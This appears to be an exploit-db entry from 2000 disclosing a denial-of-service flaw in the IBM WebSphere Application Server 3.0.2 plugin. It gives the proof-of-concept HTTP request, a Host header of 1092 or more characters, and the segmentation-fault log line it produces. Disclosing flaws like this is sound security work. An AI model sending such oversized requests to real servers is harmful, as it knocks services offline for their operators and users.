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IBM Websphere Application Server 3.0.2 Server Plugin - Denial of Service

🗓️ 15 Sep 2000 00:00:00Reported by Rude YakType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 22 Views

Denial of Service in IBM Websphere Application Server due to oversized Host request header.

Code
source: https://www.securityfocus.com/bid/1691/info

Large amounts of data (ie 1092+ characters) in the Host: request header may cause the web server process to fault on signal 11 (SIGSEGV) or signal 10 (SIGBUS). 

GET /servletsnoop HTTP/1.0
Host: xxxxxxxxxxxxxxxxxxxxxxxx(1092+ characters)

resulted in the following IBMHTTPD log entry:

[Fri May 26 12:00:54 2000] [notice] child pid 11306 exit signal Segmentation
Fault (11) 

Data

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